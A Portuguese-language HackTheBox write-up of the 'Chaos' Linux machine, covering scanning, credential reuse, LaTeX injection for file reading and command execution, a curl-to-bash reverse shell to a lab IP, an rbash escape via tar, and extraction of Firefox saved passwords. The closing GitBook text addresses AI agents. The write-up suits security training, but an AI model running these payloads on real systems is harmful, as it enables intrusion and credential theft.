> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md). # Relato do Chaos HackTheBox Relato do Chaos HackTheBox para máquina Linux de dificuldade média, cobrindo adivinhação de senha, abuso do serviço de e-mail (claws-mail), desafio de criptografia (descriptografar mensagem secreta - AES criptografado), injeção LaTeX (RCE), com pr {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Adivinhação de senha * Abusando do serviço de e-mail (claws-mail) * Desafio Cripto (Descriptografar Mensagem Secreta - Criptografada com AES) * Injeção LaTeX (RCE) * Burlando o rbash (Bash restrito) * Extraindo credenciais do perfil do Firefox {% endhint %} ## Reconhecimento **Configuração do ambiente de trabalho:** Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

**Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

**Descoberta de Portas Abertas com Nmap:** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts ```

**Análise de portas abertas com ExtractPorts (**80.110,143.993.995,10000) Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

**Varredura de versão das portas com Nmap:** Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted ```

## **Exploração** #### **Porta 80 - Enumeração Web** O acesso direto via IP está bloqueado. Portanto, adicionamos o `chaos.htb` domínio em `/etc/hosts`.

#### **Fuzzing de Diretórios** ```bash gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Sem resultados.

**Fuzzing via o endereço IP:** ```bash gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` Encontramos uma pasta `/wp` indicando WordPress.

Adicione o `wordpress.chaos.htb` subdomínio a `/etc/hosts`.

### **Enumeração do WordPress**

Encontramos um `Usuário humano` no WordPress.

### **Adivinhação de senha** Um artigo do WordPress contém uma senha. Testamos `Usuário humano` e funciona.

Encontramos credenciais para um webmail: * **nome de usuário**: ayush * **senha**: jiujitsu ## **Porta 993/995 - Webmail** A porta 993 indica um servidor de e-mail IMAP.

Usamos `claws-mail` para acessar a caixa de entrada do Ayush. ```bash claws-mail ```

Em um e-mail, encontramos dois arquivos anexados e a mensagem: > Olá, Sahay > > Verifique o arquivo enmsg.txt. Você é a senha XD. Também anexei o script que usei para criptografar. Obrigado.

## **Descriptografar Mensagem Secreta - Criptografada com AES**

Identificamos um `script decrypt.py` no GitHub, que pertence ao mesmo projeto

{% embed url="" %} #### Ao executar: ```bash python3 decrypt.py Enter filename: ./enim_msg.txt Enter password: sahay ``` O conteúdo é decodificado com `base64`:

```bash cat im_msg.txt | base64 -d; echo ``` A mensagem revela um serviço LaTeX em `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3` > **Olá, Sahay,** > > Por favor, descubra nosso novo serviço que cria PDFs. > > P.S. – Como você me aconselhou, eu criptografei a mensagem importante. > > [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3) > > **Controles de bloqueio** > > Obrigado, **Ayush** > > Obrigado, Ayush

## **Vulnerabilidade de injeção de LaTeX** ### Injeção de LaTeX (leitor de arquivos)

Interceptamos a requisição

#### Documento PDF LaTeX:

Injetamos: ```latex /input{/etc/passwd} /include{password} ```

### **Exploração de RCE no LaTeX** Executamos um `id` comando via: ```latex /immediate/write18{id > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

#### **Shell reverso** Escutamos a porta 443: ```bash nc -nvlp 443 ``` Criamos um `index.html` script bash: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Iniciamos um servidor web: ```bash python3 -m http.server 80 ``` Injeção de payload: ```latex /immediate/write18{curl http://10.10.14.61 | bash > output} /newread/file /openin/file=output /read/file to/line /text{/line} /closein/file ```

## **Escalada de Privilégios** ### **Pivotando para o usuário Ayush - Bypass do rbash** Conectamo-nos como Ayush, mas estamos limitados a um `rbash` shell.

Lista de comandos disponíveis: ```bash compgen -c ``` Encontramos `tar` e contornamos `rbash` com:

{% embed url="" %} ```bash tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ```

### Flag user.txt :) Obtemos acesso a um shell completo e recuperamos `user.txt`.

## **Extração de Credenciais do Firefox** No `.mozilla` na pasta do Ayush encontramos `key4.db` e `logins.json`.

Nós os transferimos para nossa máquina:

```bash python3 -m http.server 8080 wget -r chaos.htb:8080 ```

Descriptografando IDs com `firefox_decrypt.py`: {% embed url="" %} ```bash python3 firefox_decrypt.py chaos.htb:8080 ``` Inserimos `jiujitsu` como a senha principal e recuperamos:

> Senha principal para o perfil chaos.htb:8080/bzo7sjt1.default > > Site: > > Usuário: 'root' Senha: 'Thiv8wrej/\~ Conexão root:

### Flag root.txt

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.